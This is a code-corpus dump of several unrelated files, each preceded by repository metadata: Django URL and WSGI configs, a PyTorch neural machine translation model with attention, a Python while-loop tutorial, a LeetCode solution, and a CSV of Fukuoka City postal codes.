7596192bd96dbd76587493d354015d7c620c7944
refs/heads/main
2023-03-30T21:19:17.709465
2021-04-07T10:33:34
2021-04-07T10:33:34
355,480,457
0
0
null
null
null
null
UTF-8
Python
false
false
195
py
from django.conf.urls import url from users import views app_name = 'users' urlpatterns = [ url(r'^$', views.users, name='users'), # url(r'^forms/',views.formulario, name='forms') ]
d09f267b12df0380d0b55ee7ff1d47fd0d49c160
ed5b7eab164bf434e500e38a946fc902ee7eac47
/nlp_pytorch/chapter8/main.py
1ea8ba0c5f33c97ac1a6d2881e8883968b48c07c
[]
no_license
happybear1234/machine-learning
54269397cb02932368dbfcebb1fdf6cb2829d9e0
675ff6753771e2167c2a5179b1ffe49a918e478d
refs/heads/master
2022-02-27T21:45:50.401754
2019-07-15T09:21:04
2019-07-15T09:21:04
null
0
0
null
null
null
null
UTF-8
Python
false
false
21,207
py
# -*- coding: utf-8 -*- """ ------------------------------------------------- File Name: main Description : Author : haxu date: 2019/4/14 ------------------------------------------------- Change Activity: 2019/4/14: ------------------------------------------------- """ __author__ = 'haxu' from argparse import Namespace import json import pandas as pd import numpy as np import torch from torch.utils.data import Dataset, DataLoader from torch import nn from torch.nn import functional as F from torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence from torch import optim class Vocabulary(object): def __init__(self, token_to_idx=None): if token_to_idx is None: token_to_idx = {} self._token_to_idx = token_to_idx self._idx_to_token = {idx: token for token, idx in self._token_to_idx.items()} def to_serializable(self): return {'token_to_idx': self._token_to_idx} @classmethod def from_serializable(cls, contents): return cls(**contents) def add_token(self, token): if token in self._token_to_idx: index = self._token_to_idx[token] else: index = len(self._token_to_idx) self._token_to_idx[token] = index self._idx_to_token[index] = token return index def add_many(self, tokens): return [self.add_token(token) for token in tokens] def lookup_token(self, token): return self._token_to_idx[token] def lookup_index(self, index): if index not in self._idx_to_token: raise KeyError("the index (%d) is not in the Vocabulary" % index) return self._idx_to_token[index] def __str__(self): return "<Vocabulary(size=%d)>" % len(self) def __len__(self): return len(self._token_to_idx) class SequenceVocabulary(Vocabulary): def __init__(self, token_to_idx=None, unk_token="<UNK>", mask_token="<MASK>", begin_seq_token="<BEGIN>", end_seq_token="<END>"): super(SequenceVocabulary, self).__init__(token_to_idx) self._mask_token = mask_token self._unk_token = unk_token self._begin_seq_token = begin_seq_token self._end_seq_token = end_seq_token self.mask_index = self.add_token(self._mask_token) self.unk_index = self.add_token(self._unk_token) self.begin_seq_index = self.add_token(self._begin_seq_token) self.end_seq_index = self.add_token(self._end_seq_token) def to_serializable(self): contents = super(SequenceVocabulary, self).to_serializable() contents.update({'unk_token': self._unk_token, 'mask_token': self._mask_token, 'begin_seq_token': self._begin_seq_token, 'end_seq_token': self._end_seq_token}) return contents def lookup_token(self, token): if self.unk_index >= 0: return self._token_to_idx.get(token, self.unk_index) else: return self._token_to_idx[token] class NMTVectorizer(object): def __init__(self, source_vocab, target_vocab, max_source_length, max_target_length): """ Args: source_vocab (SequenceVocabulary): maps source words to integers target_vocab (SequenceVocabulary): maps target words to integers max_source_length (int): the longest sequence in the source dataset max_target_length (int): the longest sequence in the target dataset """ self.source_vocab = source_vocab self.target_vocab = target_vocab self.max_source_length = max_source_length self.max_target_length = max_target_length def _vectorize(self, indices, vector_length=-1, mask_index=0): """Vectorize the provided indices Args: indices (list): a list of integers that represent a sequence vector_length (int): an argument for forcing the length of index vector mask_index (int): the mask_index to use; almost always 0 """ if vector_length < 0: vector_length = len(indices) vector = np.zeros(vector_length, dtype=np.int) vector[:len(indices)] = indices vector[len(indices):] = mask_index return vector def _get_source_indices(self, text): """Return the vectorized source text Args: text (str): the source text; tokens should be separated by spaces Returns: indices (list): list of integers representing the text """ indices = [self.source_vocab.begin_seq_index] indices.extend(self.source_vocab.lookup_token(token) for token in text.split(" ")) indices.append(self.source_vocab.end_seq_index) return indices def _get_target_indices(self, text): """Return the vectorized source text Args: text (str): the source text; tokens should be separated by spaces Returns: a tuple: (x_indices, y_indices) x_indices (list): list of integers representing the observations in target decoder y_indices (list): list of integers representing predictions in target decoder """ indices = [self.target_vocab.lookup_token(token) for token in text.split(" ")] x_indices = [self.target_vocab.begin_seq_index] + indices y_indices = indices + [self.target_vocab.end_seq_index] return x_indices, y_indices def vectorize(self, source_text, target_text, use_dataset_max_lengths=True): source_vector_length = -1 target_vector_length = -1 if use_dataset_max_lengths: source_vector_length = self.max_source_length + 2 # begin end target_vector_length = self.max_target_length + 1 # end source_indices = self._get_source_indices(source_text) source_vector = self._vectorize(source_indices, vector_length=source_vector_length, mask_index=self.source_vocab.mask_index) target_x_indices, target_y_indices = self._get_target_indices(target_text) target_x_vector = self._vectorize(target_x_indices, vector_length=target_vector_length, mask_index=self.target_vocab.mask_index) target_y_vector = self._vectorize(target_y_indices, vector_length=target_vector_length, mask_index=self.target_vocab.mask_index) return {"source_vector": source_vector, "target_x_vector": target_x_vector, "target_y_vector": target_y_vector, "source_length": len(source_indices)} @classmethod def from_dataframe(cls, bitext_df): source_vocab = SequenceVocabulary() target_vocab = SequenceVocabulary() max_source_length = 0 max_target_length = 0 for _, row in bitext_df.iterrows(): source_tokens = row["source_language"].split(" ") if len(source_tokens) > max_source_length: max_source_length = len(source_tokens) for token in source_tokens: source_vocab.add_token(token) target_tokens = row["target_language"].split(" ") if len(target_tokens) > max_target_length: max_target_length = len(target_tokens) for token in target_tokens: target_vocab.add_token(token) return cls(source_vocab, target_vocab, max_source_length, max_target_length) @classmethod def from_serializable(cls, contents): source_vocab = SequenceVocabulary.from_serializable(contents["source_vocab"]) target_vocab = SequenceVocabulary.from_serializable(contents["target_vocab"]) return cls(source_vocab=source_vocab, target_vocab=target_vocab, max_source_length=contents["max_source_length"], max_target_length=contents["max_target_length"]) def to_serializable(self): return {"source_vocab": self.source_vocab.to_serializable(), "target_vocab": self.target_vocab.to_serializable(), "max_source_length": self.max_source_length, "max_target_length": self.max_target_length} class NMTDataset(Dataset): def __init__(self, text_df, vectorizer): self.text_df = text_df self._vectorizer = vectorizer self.train_df = self.text_df[self.text_df.split == 'train'] self.train_size = len(self.train_df) self.val_df = self.text_df[self.text_df.split == 'val'] self.validation_size = len(self.val_df) self.test_df = self.text_df[self.text_df.split == 'test'] self.test_size = len(self.test_df) self._lookup_dict = {'train': (self.train_df, self.train_size), 'val': (self.val_df, self.validation_size), 'test': (self.test_df, self.test_size)} self.set_split('train') @classmethod def load_dataset_and_make_vectorizer(cls, dataset_csv): text_df = pd.read_csv(dataset_csv) train_subset = text_df[text_df.split == 'train'] return cls(text_df, NMTVectorizer.from_dataframe(train_subset)) @classmethod def load_dataset_and_load_vectorizer(cls, dataset_csv, vectorizer_filepath): text_df = pd.read_csv(dataset_csv) vectorizer = cls.load_vectorizer_only(vectorizer_filepath) return cls(text_df, vectorizer) @staticmethod def load_vectorizer_only(vectorizer_filepath): with open(vectorizer_filepath) as fp: return NMTVectorizer.from_serializable(json.load(fp)) def save_vectorizer(self, vectorizer_filepath): with open(vectorizer_filepath, "w") as fp: json.dump(self._vectorizer.to_serializable(), fp) def get_vectorizer(self): return self._vectorizer def set_split(self, split="train"): self._target_split = split self._target_df, self._target_size = self._lookup_dict[split] def __len__(self): return self._target_size def __getitem__(self, index): row = self._target_df.iloc[index] vector_dict = self._vectorizer.vectorize(row.source_language, row.target_language) return {"x_source": vector_dict["source_vector"], "x_target": vector_dict["target_x_vector"], "y_target": vector_dict["target_y_vector"], "x_source_length": vector_dict["source_length"]} def get_num_batches(self, batch_size): return len(self) // batch_size def generate_nmt_batches(dataset, batch_size, shuffle=False, drop_last=True, device="cpu"): """A generator function which wraps the PyTorch DataLoader. The NMT Version """ """ 同时对长度进行排序 从大到小""" dataloader = DataLoader(dataset=dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last) for data_dict in dataloader: lengths = data_dict['x_source_length'].numpy() sorted_length_indices = lengths.argsort()[::-1].tolist() out_data_dict = {} for name, tensor in data_dict.items(): out_data_dict[name] = data_dict[name][sorted_length_indices].to(device) yield out_data_dict class NMTEncoder(nn.Module): def __init__(self, num_embeddings, embedding_size, rnn_hidden_size): super(NMTEncoder, self).__init__() self.source_embedding = nn.Embedding( num_embeddings=num_embeddings, embedding_dim=embedding_size, padding_idx=0, ) self.birnn = nn.GRU( embedding_size, rnn_hidden_size, bidirectional=True, batch_first=True ) def forward(self, x_source, x_lengths): """ :param x_source: (bs, 25) :param x_lengths: (bs, ) :return: """ x_embeded = self.source_embedding(x_source) # (bs, 25, 64) x_lengths = x_lengths.numpy() # (bs,) x_packed = pack_padded_sequence(x_embeded, x_lengths, batch_first=True) # (sum(x_lengths), 64) x_birnn_out, x_birnn_h = self.birnn(x_packed) # [(sum(x_lengths), 128*2), (2, bs, 128)] x_birnn_h = x_birnn_h.permute(1, 0, 2) # (bs, 2, 128) x_birnn_h = x_birnn_h.contiguous().view(x_birnn_h.size(0), -1) # (bs, 256) x_unpacked, _ = pad_packed_sequence(x_birnn_out, batch_first=True) # (bs, ?,256) # (bs, 10, 256) # (bs, 256) return x_unpacked, x_birnn_h def verbose_attention(encoder_state_vectors, query_vector): # (bs, max_len, 256) # (bs, 256) batch_size, num_vectors, vector_size = encoder_state_vectors.size() vector_scores = torch.sum(encoder_state_vectors * query_vector.view(batch_size, 1, vector_size), dim=2) # (bs, max_len) vector_probabilities = F.softmax(vector_scores, dim=1) # (bs, max_len) weighted_vectors = encoder_state_vectors * vector_probabilities.view(batch_size, num_vectors, 1) # (bs, max_len, 256) context_vectors = torch.sum(weighted_vectors, dim=1) # (bs, 256) return context_vectors, vector_probabilities, vector_scores class NMTDecoder(nn.Module): def __init__(self, num_embeddings, embedding_size, rnn_hidden_size, bos_index): super(NMTDecoder, self).__init__() self._rnn_hidden_size = rnn_hidden_size self.target_embedding = nn.Embedding(num_embeddings=num_embeddings, embedding_dim=embedding_size, padding_idx=0) self.gru_cell = nn.GRUCell(embedding_size + rnn_hidden_size, rnn_hidden_size) self.hidden_map = nn.Linear(rnn_hidden_size, rnn_hidden_size) self.classifier = nn.Linear(rnn_hidden_size * 2, num_embeddings) self.bos_index = bos_index self._sampling_temperature = 3 def _init_indices(self, batch_size): return torch.ones(batch_size, dtype=torch.int64) * self.bos_index def _init_context_vectors(self, batch_size): return torch.zeros(batch_size, self._rnn_hidden_size) def forward(self, encoder_state, initial_hidden_state, target_sequence, sample_probability=0.0): """ :param encoder_state: (bs, max_len, 256) :param initial_hidden_state: (bs, 256) :param target_sequence: (bs, 25) target :param sample_probability: :return: """ if target_sequence is None: sample_probability = 1. else: target_sequence = target_sequence.permute(1, 0) # (25,bs) h_t = self.hidden_map(initial_hidden_state) # (bs, 256) batch_size = encoder_state.size(0) # bs context_vectors = self._init_context_vectors(batch_size) # (bs, 256) y_t_index = self._init_indices(batch_size) # (bs, ) [2] * bs device = encoder_state.device h_t = h_t.to(device) y_t_index = y_t_index.to(device) context_vectors = context_vectors.to(device) output_vectors = [] self._cached_p_attn = [] self._cached_ht = [] self._cached_decoder_state = encoder_state.cpu().detach().numpy() # (bs ,10, 256) output_sequence_size = target_sequence.size(0) # 25 for i in range(output_sequence_size): use_sample = np.random.random() < sample_probability if not use_sample: y_t_index = target_sequence[i] y_input_vector = self.target_embedding(y_t_index) # (bs, 64) rnn_input = torch.cat([y_input_vector, context_vectors], dim=1) # (bs, 64 + 256) h_t = self.gru_cell(rnn_input, h_t) # (bs, 256) self._cached_ht.append(h_t.cpu().data.numpy()) # (bs, max_len, 256) # (bs, 256) # 输出 # (bs ,256) # (bs, max_len) context_vectors, p_attn, _ = verbose_attention( encoder_state_vectors=encoder_state, query_vector=h_t, ) self._cached_p_attn.append(p_attn.cpu().detach().numpy()) prediction_vector = torch.cat((context_vectors, h_t), dim=1) score_for_y_t_index = self.classifier(F.dropout(prediction_vector, 0.3)) # (bs, 4911) if use_sample: p_y_t_index = F.softmax(score_for_y_t_index * self._sampling_temperature, dim=1) y_t_index = torch.multinomial(p_y_t_index, 1).squeeze() output_vectors.append(score_for_y_t_index) # (25, 5, 4911) output_vectors = torch.stack(output_vectors).permute(1, 0, 2) # (bs, 25, 4911) return output_vectors class NMTModel(nn.Module): def __init__(self, source_vocab_size, source_embedding_size, target_vocab_size, target_embedding_size, encoding_size, target_bos_index): super(NMTModel, self).__init__() self.encoder = NMTEncoder(num_embeddings=source_vocab_size, embedding_size=source_embedding_size, rnn_hidden_size=encoding_size) decoding_size = encoding_size * 2 self.decoder = NMTDecoder(num_embeddings=target_vocab_size, embedding_size=target_embedding_size, rnn_hidden_size=decoding_size, bos_index=target_bos_index) def forward(self, x_source, x_source_lengths, target_sequence, sample_probability=0.5): """ :param x_source: (batch, vectorizer.max_source_length) (bs,25) :param x_source_lengths: length of the sequence (bs,) :param target_sequence: target text data tensor (bs, 25) :return: prediction vectors at each output step """ # (bs, 10, 256) # (bs, 256) encoder_state, final_hidden_states = self.encoder(x_source, x_source_lengths) decoded_states = self.decoder(encoder_state, final_hidden_states, target_sequence, sample_probability=sample_probability, ) return decoded_states def normalize_sizes(y_pred, y_true): if len(y_pred.size()) == 3: y_pred = y_pred.contiguous().view(-1, y_pred.size(2)) if len(y_true.size()) == 2: y_true = y_true.contiguous().view(-1) return y_pred, y_true def compute_accuracy(y_pred, y_true, mask_index): y_pred, y_true = normalize_sizes(y_pred, y_true) _, y_pred_indices = y_pred.max(dim=1) correct_indices = torch.eq(y_pred_indices, y_true).float() valid_indices = torch.ne(y_true, mask_index).float() n_correct = (correct_indices * valid_indices).sum().item() n_valid = valid_indices.sum().item() return n_correct / n_valid * 100 def sequence_loss(y_pred, y_true, mask_index): y_pred, y_true = normalize_sizes(y_pred, y_true) return F.cross_entropy(y_pred, y_true, ignore_index=mask_index) if __name__ == '__main__': args = Namespace( dataset_csv="simplest_eng_fra.csv", vectorizer_file="vectorizer.json", learning_rate=5e-4, batch_size=5, source_embedding_size=64, target_embedding_size=64, encoding_size=128, device='cpu', ) dataset = NMTDataset.load_dataset_and_make_vectorizer(args.dataset_csv) dataset.save_vectorizer(args.vectorizer_file) vectorizer = dataset.get_vectorizer() mask_index = vectorizer.target_vocab.mask_index dataset.set_split('train') batch_generator = generate_nmt_batches(dataset, batch_size=args.batch_size, device=args.device) model = NMTModel( source_vocab_size=len(vectorizer.source_vocab), source_embedding_size=args.source_embedding_size, target_vocab_size=len(vectorizer.target_vocab), target_embedding_size=args.target_embedding_size, encoding_size=args.encoding_size, target_bos_index=vectorizer.target_vocab.begin_seq_index ) optimizer = optim.Adam(model.parameters(), lr=args.learning_rate) for batch_idx, batch_dict in enumerate(batch_generator): optimizer.zero_grad() y_pred = model(batch_dict['x_source'], batch_dict['x_source_length'], batch_dict['x_target'], sample_probability=0.5, ) loss = sequence_loss(y_pred, batch_dict['y_target'], mask_index) loss.backward() optimizer.step() print(loss.item())
c0e496f15f2e4e536952162bbb5ccdacfbd87daf
fe6df3bca3c6f723dab6850cfc9bc5dcda028077
/WhileLoop_08/App01.py
a7eb576fbeb7448345ee2e26783849e4fea3a4ba
[]
no_license
daadestroyer/20MCAOOPS
eb0b7a69868cadf70ed8c42669252fc8b7698689
c96b887f963be17a5d969cb9e20b99090c57dedd
refs/heads/main
2023-06-27T13:06:41.763583
2021-08-04T17:01:19
2021-08-04T17:01:19
331,950,642
1
1
null
null
null
null
UTF-8
Python
false
false
343
py
''' Python Loops Python has two primitive loop commands: while loops for loops ''' i = 0 while i <= 10: print(i) i += 1 # The break Statement print() i = 1 while i < 6: print(i) if i == 3: break i += 1 # The continue Statement print() i = 0 while i < 6: i += 1 if i == 3: continue print(i)
1cef0677f83c3d9e49ab455395e33c8517db3503
0558bf417f6dfccb802e39abe03130f8139d1126
/LeetCode/3-longest-substring-without-repeating-characters.py
67f989c7f898cb430ec0b3023f4f724b443f1d31
[]
no_license
Zayu-Club/Playground
bdf2d4cf82031dac508df7ba01d969b56dacdc24
e8b2cdbd9fdc2d9fe6da3289645530bb7bb20143
refs/heads/master
2023-09-05T23:01:38.823308
2021-11-21T09:36:34
2021-11-21T09:36:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
927
py
class Solution: def lengthOfLongestSubstring(self, s: str) -> int: if len(s) == 1 or len(s) == 0: return len(s) hashMap = dict() max_len = 0 begin_index = 0 for i, si in enumerate(s): if si in hashMap.keys(): new_begin_index = hashMap[si] + 1 begin_index = begin_index if begin_index > new_begin_index else new_begin_index hashMap[si] = i windows_len = i - begin_index max_len = windows_len if windows_len > max_len else max_len return max_len + 1 s = Solution() print(s.lengthOfLongestSubstring("abcabcbb"), 3) print(s.lengthOfLongestSubstring("bbbbb"), 1) print(s.lengthOfLongestSubstring("pwwkew"), 3) print(s.lengthOfLongestSubstring(""), 0) print(s.lengthOfLongestSubstring(" "), 1) print(s.lengthOfLongestSubstring("abba"), 2) print(s.lengthOfLongestSubstring("dvdf"), 3)
907107ef98f88293e5eab6076021cbe6900e6c7d
44acca58155b0a5a2b46d6a9ed255befece4f5d1
/api_vendas/api_vendas/wsgi.py
298a0f3193ddd7ce468b07db9e5f06b15df79e98
[]
no_license
GeovaneCavalcante/appHubVendas
6f6c74cb2f94b2534ab1c3d0f241422fb88b81f4
068bb08e2a270d132e60502c35edc11a4526f671
refs/heads/master
2020-03-20T07:22:32.555287
2018-06-13T22:38:53
2018-06-13T22:38:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
398
py
""" WSGI config for api_vendas project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SETTINGS_MODULE", "api_vendas.settings") application = get_wsgi_application()
57e50197193509c44c617169693c5d944c8f76f3
393ccacef32461f5d7f4b21419a7c695df9c62a7
/lpo/sp/fmail/fmail.admin/datas/postcodes/81.cgi
713794904723a1b6c22d73975a7aabfd7c129bf5
[]
no_license
emoshu-yuta-okuma/nakagawa-dent-hp
ebc6c66efc624a256f0d7e30c2e26b9aae162cd7
e83e8c7060881b7267f90ca3f2c599d614a219a1
refs/heads/master
2023-01-14T12:39:19.874341
2020-11-12T06:33:00
2020-11-12T06:33:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
160,735
cgi
40131,813,8130000,フクオカケン,フクオカシヒガシク,イカニケイサイガナイバアイ,福岡県,福岡市東区,以下に掲載がない場合,0,0,0,0,0,0 40131,813,8130025,フクオカケン,フクオカシヒガシク,アオバ,福岡県,福岡市東区,青葉,0,0,1,0,0,0 40131,81103,8110322,フクオカケン,フクオカシヒガシク,オオタケ,福岡県,福岡市東区,大岳,0,0,1,0,0,0 40131,812,8120052,フクオカケン,フクオカシヒガシク,カイヅカダンチ,福岡県,福岡市東区,貝塚団地,0,0,0,0,0,0 40131,813,8130011,フクオカケン,フクオカシヒガシク,カシイ,福岡県,福岡市東区,香椎,0,0,1,0,0,0 40131,813,8130013,フクオカケン,フクオカシヒガシク,カシイエキマエ,福岡県,福岡市東区,香椎駅前,0,0,1,0,0,0 40131,813,8130012,フクオカケン,フクオカシヒガシク,カシイエキヒガシ,福岡県,福岡市東区,香椎駅東,0,0,1,0,0,0 40131,813,8130014,フクオカケン,フクオカシヒガシク,カシイダイ,福岡県,福岡市東区,香椎台,0,0,1,0,0,0 40131,813,8130015,フクオカケン,フクオカシヒガシク,カシイダンチ,福岡県,福岡市東区,香椎団地,0,0,0,0,0,0 40131,813,8130017,フクオカケン,フクオカシヒガシク,カシイテリハ,福岡県,福岡市東区,香椎照葉,0,0,1,0,0,0 40131,813,8130016,フクオカケン,フクオカシヒガシク,カシイハマ,福岡県,福岡市東区,香椎浜,0,0,1,0,0,0 40131,813,8130018,フクオカケン,フクオカシヒガシク,カシイハマフトウ,福岡県,福岡市東区,香椎浜ふ頭,0,0,1,0,0,0 40131,813,8130003,フクオカケン,フクオカシヒガシク,カスミガオカ,福岡県,福岡市東区,香住ケ丘,0,0,1,0,0,0 40131,81103,8110325,フクオカケン,フクオカシヒガシク,カツマ,福岡県,福岡市東区,勝馬,0,0,0,0,0,0 40131,813,8130023,フクオカケン,フクオカシヒガシク,カマタ,福岡県,福岡市東区,蒲田,0,0,1,0,0,0 40131,81102,8110216,フクオカケン,フクオカシヒガシク,カミワジロ,福岡県,福岡市東区,上和白,0,0,0,0,0,0 40131,81102,8110206,フクオカケン,フクオカシヒガシク,ガンノス,福岡県,福岡市東区,雁の巣,0,0,1,0,0,0 40131,812,8120069,フクオカケン,フクオカシヒガシク,ゴウグチマチ,福岡県,福岡市東区,郷口町,0,0,0,0,0,0 40131,81103,8110321,フクオカケン,フクオカシヒガシク,サイトザキ,福岡県,福岡市東区,西戸崎,0,0,1,0,0,0 40131,81102,8110203,フクオカケン,フクオカシヒガシク,シオハマ,福岡県,福岡市東区,塩浜,0,0,1,0,0,0 40131,81103,8110323,フクオカケン,フクオカシヒガシク,シカシマ,福岡県,福岡市東区,志賀島,0,0,0,0,0,0 40131,813,8130002,フクオカケン,フクオカシヒガシク,シモバル,福岡県,福岡市東区,下原,0,0,1,0,0,0 40131,812,8120068,フクオカケン,フクオカシヒガシク,シャリョウ,福岡県,福岡市東区,社領,0,0,1,0,0,0 40131,813,8130045,フクオカケン,フクオカシヒガシク,シロハマダンチ,福岡県,福岡市東区,城浜団地,0,0,0,0,0,0 40131,81102,8110215,フクオカケン,フクオカシヒガシク,タカミダイ,福岡県,福岡市東区,高美台,0,0,1,0,0,0 40131,813,8130033,フクオカケン,フクオカシヒガシク,タタラ,福岡県,福岡市東区,多々良,0,0,1,0,0,0 40131,813,8130034,フクオカケン,フクオカシヒガシク,タノツ,福岡県,福岡市東区,多の津,0,0,1,0,0,0 40131,813,8130044,フクオカケン,フクオカシヒガシク,チハヤ,福岡県,福岡市東区,千早,0,0,1,0,0,0 40131,813,8130032,フクオカケン,フクオカシヒガシク,ドイ,福岡県,福岡市東区,土井,0,0,1,0,0,0 40131,813,8130001,フクオカケン,フクオカシヒガシク,トウノハル,福岡県,福岡市東区,唐原,0,0,1,0,0,0 40131,813,8130024,フクオカケン,フクオカシヒガシク,ナゴ,福岡県,福岡市東区,名子,0,0,1,0,0,0 40131,813,8130043,フクオカケン,フクオカシヒガシク,ナジマ,福岡県,福岡市東区,名島,0,0,1,0,0,0 40131,81102,8110204,フクオカケン,フクオカシヒガシク,ナタ,福岡県,福岡市東区,奈多,0,0,1,0,0,0 40131,81102,8110205,フクオカケン,フクオカシヒガシク,ナタダンチ,福岡県,福岡市東区,奈多団地,0,0,0,0,0,0 40131,812,8120053,フクオカケン,フクオカシヒガシク,ハコザキ,福岡県,福岡市東区,箱崎,0,0,1,0,0,0 40131,812,8120051,フクオカケン,フクオカシヒガシク,ハコザキフトウ,福岡県,福岡市東区,箱崎ふ頭,0,0,1,0,0,0 40131,812,8120061,フクオカケン,フクオカシヒガシク,ハコマツ,福岡県,福岡市東区,筥松,0,0,1,0,0,0 40131,812,8120067,フクオカケン,フクオカシヒガシク,ハコマツシンマチ,福岡県,福岡市東区,筥松新町,0,0,0,0,0,0 40131,813,8130031,フクオカケン,フクオカシヒガシク,ハッタ,福岡県,福岡市東区,八田,0,0,1,0,0,0 40131,812,8120063,フクオカケン,フクオカシヒガシク,ハラダ,福岡県,福岡市東区,原田,0,0,1,0,0,0 40131,812,8120055,フクオカケン,フクオカシヒガシク,ヒガシハマ,福岡県,福岡市東区,東浜,0,0,1,0,0,0 40131,81103,8110324,フクオカケン,フクオカシヒガシク,ヒロ,福岡県,福岡市東区,弘,0,0,0,0,0,0 40131,812,8120066,フクオカケン,フクオカシヒガシク,フタマタセ,福岡県,福岡市東区,二又瀬,0,0,0,0,0,0 40131,812,8120065,フクオカケン,フクオカシヒガシク,フタマタセシンマチ,福岡県,福岡市東区,二又瀬新町,0,0,0,0,0,0 40131,812,8120054,フクオカケン,フクオカシヒガシク,マイダシ,福岡県,福岡市東区,馬出,0,0,1,0,0,0 40131,813,8130042,フクオカケン,フクオカシヒガシク,マイマツバラ,福岡県,福岡市東区,舞松原,0,0,1,0,0,0 40131,813,8130004,フクオカケン,フクオカシヒガシク,マツカダイ,福岡県,福岡市東区,松香台,0,0,1,0,0,0 40131,813,8130035,フクオカケン,フクオカシヒガシク,マツザキ,福岡県,福岡市東区,松崎,0,0,1,0,0,0 40131,812,8120062,フクオカケン,フクオカシヒガシク,マツシマ(1、2チョウメ),福岡県,福岡市東区,松島(1、2丁目),1,0,1,0,0,0 40131,813,8130062,フクオカケン,フクオカシヒガシク,マツシマ(3-6チョウメ),福岡県,福岡市東区,松島(3〜6丁目),1,0,1,0,0,0 40131,812,8120064,フクオカケン,フクオカシヒガシク,マツダ,福岡県,福岡市東区,松田,0,0,1,0,0,0 40131,813,8130005,フクオカケン,フクオカシヒガシク,ミシマザキ,福岡県,福岡市東区,御島崎,0,0,1,0,0,0 40131,813,8130041,フクオカケン,フクオカシヒガシク,ミズタニ,福岡県,福岡市東区,水谷,0,0,1,0,0,0 40131,81102,8110201,フクオカケン,フクオカシヒガシク,ミトマ,福岡県,福岡市東区,三苫,0,0,1,0,0,0 40131,813,8130021,フクオカケン,フクオカシヒガシク,ミドリガオカ,福岡県,福岡市東区,みどりが丘,0,0,1,0,0,0 40131,813,8130019,フクオカケン,フクオカシヒガシク,ミナトカシイ,福岡県,福岡市東区,みなと香椎,0,0,1,0,0,0 40131,81102,8110212,フクオカケン,フクオカシヒガシク,ミワダイ,福岡県,福岡市東区,美和台,0,0,1,0,0,0 40131,81102,8110211,フクオカケン,フクオカシヒガシク,ミワダイシンマチ,福岡県,福岡市東区,美和台新町,0,0,0,0,0,0 40131,813,8130036,フクオカケン,フクオカシヒガシク,ワカミヤ,福岡県,福岡市東区,若宮,0,0,1,0,0,0 40131,81102,8110202,フクオカケン,フクオカシヒガシク,ワジロ,福岡県,福岡市東区,和白,0,0,1,0,0,0 40131,81102,8110213,フクオカケン,フクオカシヒガシク,ワジロガオカ,福岡県,福岡市東区,和白丘,0,0,1,0,0,0 40131,81102,8110214,フクオカケン,フクオカシヒガシク,ワジロヒガシ,福岡県,福岡市東区,和白東,0,0,1,0,0,0 40132,812,8120000,フクオカケン,フクオカシハカタク,イカニケイサイガナイバアイ,福岡県,福岡市博多区,以下に掲載がない場合,0,0,0,0,0,0 40132,816,8120885,フクオカケン,フクオカシハカタク,アイオイマチ,福岡県,福岡市博多区,相生町,0,0,1,0,0,0 40132,816,8120851,フクオカケン,フクオカシハカタク,アオキ,福岡県,福岡市博多区,青木,0,0,1,0,0,0 40132,816,8120881,フクオカケン,フクオカシハカタク,イソウダ,福岡県,福岡市博多区,井相田,0,0,1,0,0,0 40132,816,8120888,フクオカケン,フクオカシハカタク,イタヅケ,福岡県,福岡市博多区,板付,0,0,1,0,0,0 40132,816,8120861,フクオカケン,フクオカシハカタク,ウラタ,福岡県,福岡市博多区,浦田,0,0,1,0,0,0 40132,812,8120004,フクオカケン,フクオカシハカタク,エノキダ,福岡県,福岡市博多区,榎田,0,0,1,0,0,0 40132,812,8120001,フクオカケン,フクオカシハカタク,オオイ,福岡県,福岡市博多区,大井,0,0,1,0,0,0 40132,812,8120031,フクオカケン,フクオカシハカタク,オキハママチ,福岡県,福岡市博多区,沖浜町,0,0,0,0,0,0 40132,812,8120043,フクオカケン,フクオカシハカタク,カタカス,福岡県,福岡市博多区,堅粕,0,0,1,0,0,0 40132,816,8120863,フクオカケン,フクオカシハカタク,カネノクマ,福岡県,福岡市博多区,金の隈,0,0,1,0,0,0 40132,812,8120005,フクオカケン,フクオカシハカタク,カミウスイ,福岡県,福岡市博多区,上臼井,0,0,0,0,0,0 40132,812,8120026,フクオカケン,フクオカシハカタク,カミカワバタマチ,福岡県,福岡市博多区,上川端町,0,0,0,0,0,0 40132,812,8120036,フクオカケン,フクオカシハカタク,カミゴフクマチ,福岡県,福岡市博多区,上呉服町,0,0,0,0,0,0 40132,812,8120006,フクオカケン,フクオカシハカタク,カミムタ,福岡県,福岡市博多区,上牟田,0,0,1,0,0,0 40132,812,8120022,フクオカケン,フクオカシハカタク,カミヤマチ,福岡県,福岡市博多区,神屋町,0,0,0,0,0,0 40132,812,8120038,フクオカケン,フクオカシハカタク,ギオンマチ,福岡県,福岡市博多区,祇園町,0,0,0,0,0,0 40132,816,8120879,フクオカケン,フクオカシハカタク,ギンテンチョウ,福岡県,福岡市博多区,銀天町,0,0,1,0,0,0 40132,812,8120002,フクオカケン,フクオカシハカタク,クウコウマエ,福岡県,福岡市博多区,空港前,0,0,1,0,0,0 40132,812,8120037,フクオカケン,フクオカシハカタク,ゴクショマチ,福岡県,福岡市博多区,御供所町,0,0,0,0,0,0 40132,816,8120884,フクオカケン,フクオカシハカタク,コトブキチョウ,福岡県,福岡市博多区,寿町,0,0,1,0,0,0 40132,812,8120029,フクオカケン,フクオカシハカタク,コモンドマチ,福岡県,福岡市博多区,古門戸町,0,0,0,0,0,0 40132,816,8120891,フクオカケン,フクオカシハカタク,ササイ,福岡県,福岡市博多区,雀居,0,0,0,0,0,0 40132,816,8120887,フクオカケン,フクオカシハカタク,サンチク,福岡県,福岡市博多区,三筑,0,0,1,0,0,0 40132,812,8120015,フクオカケン,フクオカシハカタク,サンノウ,福岡県,福岡市博多区,山王,0,0,1,0,0,0 40132,816,8120871,フクオカケン,フクオカシハカタク,シノノメマチ,福岡県,福岡市博多区,東雲町,0,0,1,0,0,0 40132,812,8120003,フクオカケン,フクオカシハカタク,シモウスイ,福岡県,福岡市博多区,下臼井,0,0,0,0,0,0 40132,812,8120027,フクオカケン,フクオカシハカタク,シモカワバタマチ,福岡県,福岡市博多区,下川端町,0,0,0,0,0,0 